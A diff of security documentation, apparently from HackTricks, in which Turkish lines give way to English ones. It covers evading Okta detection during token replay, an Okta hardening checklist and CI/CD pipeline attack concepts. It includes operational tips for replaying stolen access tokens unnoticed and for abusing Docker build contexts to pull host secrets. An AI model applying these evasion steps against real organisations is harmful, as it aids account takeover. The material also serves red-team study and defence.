Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
|
||||
Anahtar öneriler şunlardır:
|
||||
Key recommendations include:
|
||||
|
||||
- **Popüler anonimleştirici proxy'ler ve VPN hizmetlerini kullanmaktan kaçının**; yakalanan erişim token'larını yeniden oynatırken.
|
||||
- **İstemci ile yeniden oynatılan erişim token'ları arasında tutarlı kullanıcı ajanı dizgeleri** olduğundan emin olun.
|
||||
- **Aynı IP adresinden farklı kullanıcılardan token'ları yeniden oynatmaktan kaçının.**
|
||||
- Okta kontrol paneline karşı token'ları yeniden oynatırken dikkatli olun.
|
||||
- Eğer kurban şirketin IP adreslerini biliyorsanız, **trafikleri** bu IP'lere veya aralıklarına kısıtlayın, diğer tüm trafiği engelleyin.
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
|
||||
## Okta Güçlendirme
|
||||
## Okta Hardening
|
||||
|
||||
Okta'nın birçok olası yapılandırması vardır, bu sayfada bunları mümkün olduğunca güvenli hale getirmek için nasıl gözden geçireceğinizi bulacaksınız:
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,199 +1,202 @@
|
||||
# Okta Güçlendirme
|
||||
# Okta Hardening
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dizin
|
||||
## Directory
|
||||
|
||||
### İnsanlar
|
||||
### People
|
||||
|
||||
Saldırganlar açısından bu, **tüm kayıtlı kullanıcıları**, **e-posta** adreslerini, **katıldıkları grupları**, **profilleri** ve hatta **cihazları** (mobil cihazlar ve işletim sistemleri) görebileceğiniz için oldukça ilginçtir.
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
|
||||
Beyaz kutu incelemesi için, "**Bekleyen kullanıcı eylemi**" ve "**Şifre sıfırlama**" gibi birden fazla durumun olmadığından emin olun.
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
|
||||
### Gruplar
|
||||
### Groups
|
||||
|
||||
Burada Okta'da oluşturulan tüm grupları bulabilirsiniz. Kullanıcılara verilebilecek farklı grupların (**izin setleri**) anlaşılması ilginçtir.\
|
||||
Gruplara dahil olan **kişileri** ve her gruba atanan **uygulamaları** görebilirsiniz.
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
|
||||
Elbette, **admin** ismine sahip herhangi bir grup ilginçtir, özellikle **Küresel Yöneticiler** grubu, en ayrıcalıklı üyelerin kimler olduğunu öğrenmek için üyeleri kontrol edin.
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
|
||||
Beyaz kutu incelemesinden, **5'ten fazla küresel yönetici olmamalıdır** (en iyisi sadece 2 veya 3 olmasıdır).
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
|
||||
### Cihazlar
|
||||
### Devices
|
||||
|
||||
Burada tüm kullanıcıların **tüm cihazlarının listesini** bulabilirsiniz. Ayrıca, bunun **aktif olarak yönetilip yönetilmediğini** de görebilirsiniz.
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
|
||||
### Profil Düzenleyici
|
||||
### Profile Editor
|
||||
|
||||
Burada, adlar, soyadlar, e-postalar, kullanıcı adları gibi anahtar bilgilerin Okta ve diğer uygulamalar arasında nasıl paylaşıldığını gözlemlemek mümkündür. Bu ilginçtir çünkü bir kullanıcı **Okta'da bir alanı** (örneğin adı veya e-postası) değiştirebiliyorsa ve bu alan bir **harici uygulama** tarafından kullanılıyorsa, bir içeriden biri diğer hesapları **ele geçirmeye** çalışabilir.
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
|
||||
Ayrıca, Okta'daki profil **`Kullanıcı (varsayılan)`** bölümünde her **kullanıcının hangi alanlara sahip olduğunu** ve hangilerinin kullanıcılar tarafından **yazılabilir** olduğunu görebilirsiniz. Yönetici panelini göremiyorsanız, **profil bilgilerinizi güncellemek** için gidin ve hangi alanları güncelleyebileceğinizi görün (bir e-posta adresini güncellemek için doğrulamanız gerektiğini unutmayın).
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
|
||||
### Dizin Entegrasyonları
|
||||
### Directory Integrations
|
||||
|
||||
Dizinler, mevcut kaynaklardan insanları içe aktarmanıza olanak tanır. Burada diğer dizinlerden içe aktarılan kullanıcıları göreceğinizi düşünüyorum.
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
|
||||
Bunu görmedim, ama bu, **Okta'nın kullanıcıları içe aktarmak için kullandığı diğer dizinleri** bulmak için ilginçtir, böylece eğer **o dizini tehlikeye atarsanız**, Okta'da oluşturulan kullanıcıların bazı nitelik değerlerini ayarlayabilir ve **belki de Okta ortamını tehlikeye atabilirsiniz**.
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
|
||||
### Profil Kaynakları
|
||||
### Profile Sources
|
||||
|
||||
Bir profil kaynağı, kullanıcı profil nitelikleri için **gerçek kaynak** olarak işlev gören bir **uygulamadır**. Bir kullanıcı yalnızca bir uygulama veya dizin tarafından bir kerede kaynaklanabilir.
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
|
||||
Bunu görmedim, bu seçenekle ilgili güvenlik ve hacking hakkında herhangi bir bilgi takdir edilir.
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
|
||||
## Özelleştirmeler
|
||||
## Customizations
|
||||
|
||||
### Markalar
|
||||
### Brands
|
||||
|
||||
Bu bölümün **Alanlar** sekmesinde, e-posta göndermek için kullanılan e-posta adreslerini ve şirketin Okta içindeki özel alanını kontrol edin (bunu muhtemelen zaten biliyorsunuzdur).
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
|
||||
Ayrıca, **Ayarlar** sekmesinde, eğer yöneticiyseniz, "**Özel bir çıkış sayfası kullanın**" seçeneğini işaretleyebilir ve özel bir URL ayarlayabilirsiniz.
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
|
||||
### SMS
|
||||
|
||||
Burada ilginç bir şey yok.
|
||||
Nothing interesting here.
|
||||
|
||||
### Son Kullanıcı Gösterge Tablosu
|
||||
### End-User Dashboard
|
||||
|
||||
Burada yapılandırılmış uygulamaları bulabilirsiniz, ancak bunların ayrıntılarını daha sonra farklı bir bölümde göreceğiz.
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
|
||||
### Diğer
|
||||
### Other
|
||||
|
||||
İlginç bir ayar, ancak güvenlik açısından süper ilginç bir şey yok.
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
|
||||
## Uygulamalar
|
||||
## Applications
|
||||
|
||||
### Uygulamalar
|
||||
### Applications
|
||||
|
||||
Burada tüm **yapılandırılmış uygulamaları** ve ayrıntılarını bulabilirsiniz: Kimlerin bunlara erişimi var, nasıl yapılandırılmış (SAML, OpenID), giriş URL'si, Okta ile uygulama arasındaki eşlemeler...
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
|
||||
**`Oturum Açma`** sekmesinde, uygulama ayarlarını kontrol ederken bir kullanıcının **şifresini açığa çıkarmasına** izin veren **`Şifreyi göster`** adında bir alan da bulunmaktadır. Kullanıcı Panelinden bir uygulamanın ayarlarını kontrol etmek için 3 noktaya tıklayın:
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ve uygulama hakkında daha fazla ayrıntı görebilirsiniz (şifreyi gösterme özelliği gibi, eğer etkinse):
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Kimlik Yönetimi
|
||||
## Identity Governance
|
||||
|
||||
### Erişim Sertifikaları
|
||||
### Access Certifications
|
||||
|
||||
Erişim Sertifikalarını kullanarak kullanıcılarınızın kaynaklara erişimini periyodik olarak gözden geçirmek ve gerektiğinde erişimi otomatik olarak onaylamak veya iptal etmek için denetim kampanyaları oluşturun.
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
|
||||
Bunu kullanıldığını görmedim, ama savunma açısından güzel bir özellik olduğunu düşünüyorum.
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
|
||||
## Güvenlik
|
||||
## Security
|
||||
|
||||
### Genel
|
||||
### General
|
||||
|
||||
- **Güvenlik bildirim e-postaları**: Hepsi etkin olmalıdır.
|
||||
- **CAPTCHA entegrasyonu**: En azından görünmez reCaptcha ayarlamak önerilir.
|
||||
- **Organizasyon Güvenliği**: Her şey etkinleştirilebilir ve aktivasyon e-postalarının uzun sürmemesi gerekir (7 gün yeterlidir).
|
||||
- **Kullanıcı numaralandırma önleme**: Her ikisi de etkin olmalıdır.
|
||||
- Kullanıcı Numaralandırma Önleme, aşağıdaki koşullardan biri izin verilirse etkili olmaz (daha fazla bilgi için [Kullanıcı yönetimi](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) bakın):
|
||||
- Kendinize hizmet kaydı
|
||||
- E-posta kimlik doğrulaması ile JIT akışları
|
||||
- **Okta ThreatInsight ayarları**: Tehdit seviyesine göre güvenliği kaydedin ve uygulayın.
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Burada doğru ve **tehlikeli** yapılandırılmış **ayarları** bulmak mümkündür.
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
|
||||
### Kimlik Doğrulayıcılar
|
||||
### Authenticators
|
||||
|
||||
Burada bir kullanıcının kullanabileceği tüm kimlik doğrulama yöntemlerini bulabilirsiniz: Şifre, telefon, e-posta, kod, WebAuthn... Şifre kimlik doğrulayıcısına tıkladığınızda **şifre politikası** görebilirsiniz. Güçlü olduğundan emin olun.
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
|
||||
**Kayıt** sekmesinde, zorunlu veya isteğe bağlı olanları görebilirsiniz:
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Telefonu devre dışı bırakmak önerilir. En güçlü olanlar muhtemelen şifre, e-posta ve WebAuthn kombinasyonudur.
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
|
||||
### Kimlik Doğrulama Politikaları
|
||||
### Authentication policies
|
||||
|
||||
Her uygulamanın bir kimlik doğrulama politikası vardır. Kimlik doğrulama politikası, uygulamaya giriş yapmaya çalışan kullanıcıların belirli koşulları karşıladığını doğrular ve bu koşullara dayalı olarak faktör gereksinimlerini uygular.
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
|
||||
Burada her uygulamaya erişim için **gereksinimleri** bulabilirsiniz. Her uygulama için en az bir şifre ve başka bir yöntem talep edilmesi önerilir. Ancak bir saldırgan olarak daha zayıf bir şey bulursanız, onu hedef alabilirsiniz.
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
|
||||
### Küresel Oturum Politikası
|
||||
### Global Session Policy
|
||||
|
||||
Burada farklı gruplara atanan oturum politikalarını bulabilirsiniz. Örneğin:
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
MFA talep edilmesi, oturum süresinin birkaç saatle sınırlanması, oturum çerezlerinin tarayıcı uzantıları arasında kalıcı olmaması ve konum ile Kimlik Sağlayıcısını (bu mümkünse) sınırlamak önerilir. Örneğin, her kullanıcının bir ülkeden giriş yapması gerekiyorsa, yalnızca bu konuma izin verebilirsiniz.
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
|
||||
### Kimlik Sağlayıcıları
|
||||
### Identity Providers
|
||||
|
||||
Kimlik Sağlayıcıları (IdP'ler), **kullanıcı hesaplarını yöneten** hizmetlerdir. Okta'da IdP'ler eklemek, son kullanıcılarınızın sosyal bir hesap veya akıllı kart ile kimlik doğrulaması yaparak özel uygulamalarınıza **kendilerini kaydetmelerini** sağlar.
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
|
||||
Kimlik Sağlayıcıları sayfasında, sosyal girişleri (IdP'ler) ekleyebilir ve Okta'yı bir hizmet sağlayıcı (SP) olarak yapılandırmak için içe aktarılan SAML ekleyebilirsiniz. IdP'leri ekledikten sonra, kullanıcıları bir IdP'ye yönlendirmek için bağlama dayalı yönlendirme kuralları ayarlayabilirsiniz; örneğin, kullanıcının konumu, cihazı veya e-posta alanı gibi.
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
|
||||
**Herhangi bir kimlik sağlayıcı yapılandırılmışsa**, saldırganlar ve savunucular açısından bu yapılandırmayı kontrol edin ve **kaynağın gerçekten güvenilir olup olmadığını** kontrol edin, çünkü bir saldırgan bunu tehlikeye atarak Okta ortamına da erişim sağlayabilir.
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
|
||||
### Devredilmiş Kimlik Doğrulama
|
||||
### Delegated Authentication
|
||||
|
||||
Devredilmiş kimlik doğrulama, kullanıcıların kuruluşlarının **Active Directory (AD) veya LDAP** sunucusu için kimlik bilgilerini girerek Okta'ya giriş yapmalarına olanak tanır.
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
|
||||
Yine, bunu yeniden kontrol edin, çünkü bir saldırganın bir kuruluşun AD'sini tehlikeye atması, bu ayar sayesinde Okta'ya geçiş yapabilmesine neden olabilir.
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
|
||||
### Ağ
|
||||
### Network
|
||||
|
||||
Bir ağ bölgesi, erişimi **vermek veya kısıtlamak** için kullanabileceğiniz yapılandırılabilir bir sınırdır. Bu, erişim talep eden bilgisayarlar ve cihazlar için **IP adresine** dayalıdır. Bir veya daha fazla bireysel IP adresi, IP adresi aralığı veya coğrafi konum belirterek bir ağ bölgesi tanımlayabilirsiniz.
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
|
||||
Bir veya daha fazla ağ bölgesi tanımladıktan sonra, bunları **Küresel Oturum Politikalarında**, **kimlik doğrulama politikalarında**, VPN bildirimlerinde ve **yönlendirme kurallarında** kullanabilirsiniz.
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
|
||||
Saldırganlar açısından hangi IP'lerin izin verildiğini bilmek ilginçtir (ve herhangi bir **IP'nin diğerlerinden daha ayrıcalıklı olup olmadığını kontrol edin**). Saldırganlar açısından, kullanıcıların belirli bir IP adresinden veya bölgeden erişim sağlaması gerekiyorsa, bu özelliğin düzgün kullanıldığını kontrol edin.
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
|
||||
### Cihaz Entegrasyonları
|
||||
### Device Integrations
|
||||
|
||||
- **Uç Nokta Yönetimi**: Uç nokta yönetimi, yönetilen cihazların bir uygulamaya erişimini sağlamak için bir kimlik doğrulama politikasında uygulanabilecek bir koşuldur.
|
||||
- Bunu henüz görmedim. YAPILACAK
|
||||
- **Bildirim hizmetleri**: Bunu henüz görmedim. YAPILACAK
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
|
||||
### API
|
||||
|
||||
Bu sayfada Okta API jetonları oluşturabilir ve **oluşturulan** jetonları, **yetkilerini**, **sona erme** sürelerini ve **Kaynak URL'lerini** görebilirsiniz. API jetonları, jetonu oluşturan kullanıcının izinleriyle oluşturulur ve yalnızca **oluşturan kullanıcı** **aktif** olduğunda geçerlidir.
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
|
||||
**Güvenilir Kaynaklar**, kontrol ettiğiniz ve Okta API'si aracılığıyla Okta organizasyonunuza erişim sağlamak için güvenilir olan web sitelerine erişim izni verir.
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
|
||||
Çok fazla API jetonu olmamalıdır, çünkü eğer varsa bir saldırgan bunlara erişmeye ve kullanmaya çalışabilir.
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
|
||||
## İş Akışı
|
||||
## Workflow
|
||||
|
||||
### Otomasyonlar
|
||||
### Automations
|
||||
|
||||
Otomasyonlar, son kullanıcıların yaşam döngüsü sırasında meydana gelen bir dizi tetikleyici koşuluna dayalı olarak çalışan otomatik eylemler oluşturmanıza olanak tanır.
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
|
||||
Örneğin, bir koşul "Okta'da kullanıcı etkinliği yok" veya "Okta'da kullanıcı şifresi süresi doldu" olabilir ve eylem "Kullanıcıya e-posta gönder" veya "Okta'da kullanıcı yaşam döngüsü durumunu değiştir" olabilir.
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
|
||||
## Raporlar
|
||||
## Reports
|
||||
|
||||
### Raporlar
|
||||
### Reports
|
||||
|
||||
Günlükleri indirin. Bunlar, mevcut hesabın **e-posta adresine** **gönderilir**.
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
|
||||
### Sistem Günlüğü
|
||||
### System Log
|
||||
|
||||
Burada, kullanıcıların Okta'da veya Okta aracılığıyla uygulamalarda gerçekleştirdiği **hareketlerin günlüklerini** bulabilirsiniz.
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
|
||||
### İçe Aktarma İzleme
|
||||
### Import Monitoring
|
||||
|
||||
Bu, **Okta ile erişilen diğer platformlardan günlükleri içe aktarabilir**.
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
|
||||
### Hız limitleri
|
||||
### Rate limits
|
||||
|
||||
Ulaşılan API hız limitlerini kontrol edin.
|
||||
Check the API rate limits reached.
|
||||
|
||||
## Ayarlar
|
||||
## Settings
|
||||
|
||||
### Hesap
|
||||
### Account
|
||||
|
||||
Burada, şirket adı, adres, **e-posta fatura iletişim kişisi**, **e-posta teknik iletişim kişisi** gibi Okta ortamı hakkında **genel bilgileri** bulabilirsiniz ve ayrıca kimlerin Okta güncellemelerini alması gerektiğini ve hangi tür Okta güncellemeleri alacağını görebilirsiniz.
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
|
||||
### İndirmeler
|
||||
### Downloads
|
||||
|
||||
Burada, Okta'yı diğer teknolojilerle senkronize etmek için Okta ajanlarını indirebilirsiniz.
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS, **Version Control System** anlamına gelir; bu sistemler geliştiricilerin **kaynak code'larını yönetmesini** sağlar. En yaygın olanı **git**'tir ve genelde şirketlerde aşağıdaki **platformlar**dan birinde kullanılır:
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,93 +18,86 @@ VCS, **Version Control System** anlamına gelir; bu sistemler geliştiricilerin
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines geliştiricilerin uygulamaları build, test ve deploy etmek gibi amaçlar için **code yürütmeyi otomatikleştirmesini** sağlar. Bu otomatik iş akışları, code push'ları, pull request'ler veya zamanlanmış görevler gibi **belirli aksiyonlarla tetiklenir**. Geliştirmeden üretime geçiş sürecini düzene koymak için faydalıdır.
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
|
||||
Ancak bu sistemlerin bir yerde **çalıştırılması gerekir** ve genelde **deploy yapmak veya hassas bilgilere erişmek için ayrıcalıklı credentials** ile çalışırlar.
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
Projenizin source code'unun bulunduğu platformlar hassas bilgiler içerir ve bu platform içinde verilen izinlere çok dikkat edilmelidir. Saldırganların kötüye kullanabileceği VCS platformları genelinde görülen bazı yaygın problemler şunlardır:
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
|
||||
- **Leaks**: Eğer code'unuz commit'lerde leaks içeriyorsa ve saldırgan repoya erişebiliyorsa (çünkü repo public veya erişimi varsa) bu leaksleri keşfedebilir.
|
||||
- **Access**: Eğer bir saldırgan VCS platformu içinde bir hesaba **erişim sağlayabilirse** daha fazla görünürlük ve izin elde edebilir.
|
||||
- **Register**: Bazı platformlar dış kullanıcıların hesap oluşturmasına izin verir.
|
||||
- **SSO**: Bazı platformlar kullanıcı kaydına izin vermez, ama geçerli bir SSO ile herkesin erişmesine izin verir (örneğin bir saldırgan github hesabını kullanarak girebilir).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kullanıcıların repoya herhangi bir şekilde erişmek için çalabileceği çeşitli token türleri vardır.
|
||||
- **Webhooks**: VCS platformları webhook oluşturulmasına izin verir. Eğer bunlar görünmeyen secret'lerle **korunmuyorsa** bir **saldırgan bunları kötüye kullanabilir**.
|
||||
- Eğer herhangi bir secret yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir
|
||||
- Eğer secret URL içinde ise, aynı durum geçerlidir ve saldırgan secret'a da sahip olur
|
||||
- **Code compromise:** Eğer kötü niyetli bir aktör repolarda bir tür **write** erişimine sahipse, **zararlı code** enjekte etmeye çalışabilir. Başarılı olmak için çoğunlukla **branch protections'ı bypass etmesi** gerekebilir. Bu eylemler farklı amaçlarla gerçekleştirilebilir:
|
||||
- Main branch'i ele geçirerek **production'ı compromise etmek**.
|
||||
- Main (veya diğer) branch'leri ele geçirerek **geliştiricilerin makinelerini compromise etmek** (çünkü genelde test, terraform veya repo içindeki diğer şeyleri kendi makinelerinde çalıştırırlar).
|
||||
- **Pipeline'ı compromise etmek** (bir sonraki bölüme bakın)
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
Pipeline tanımlamanın en yaygın yolu, pipeline'ın build ettiği repository'de barındırılan bir **CI configuration file** kullanmaktır. Bu dosya yürütülen job'ların sırasını, akışı etkileyen koşulları ve build ortamı ayarlarını açıklar.\
|
||||
Bu dosyalar genelde tutarlı bir ad ve formatta olur; örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altındaki GitHub Actions YAML dosyaları. Tetiklendiğinde pipeline job'ı seçilen kaynaktan (ör. commit / branch) **code'u çeker** ve CI configuration file içinde belirtilen komutları bu code'a karşı **çalıştırır**.
|
||||
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
|
||||
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
|
||||
|
||||
Bu yüzden saldırganın nihai amacı bir şekilde bu configuration dosyalarını ya da **çalıştırdıkları komutları** **compromise etmek**tir.
|
||||
|
||||
> [!TIP]
|
||||
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
Poisoned Pipeline Execution (PPE) yolu, bir SCM repository içindeki izinleri kötüye kullanarak bir CI pipeline'ını manipüle etmeyi ve zararlı komutlar çalıştırmayı hedefler. Gerekli izinlere sahip kullanıcılar CI configuration dosyalarını veya pipeline job tarafından kullanılan diğer dosyaları değiştirerek kötü amaçlı komutlar ekleyebilir. Bu durum CI pipeline'ını "poison" eder ve bu kötü amaçlı komutların çalışmasına yol açar.
|
||||
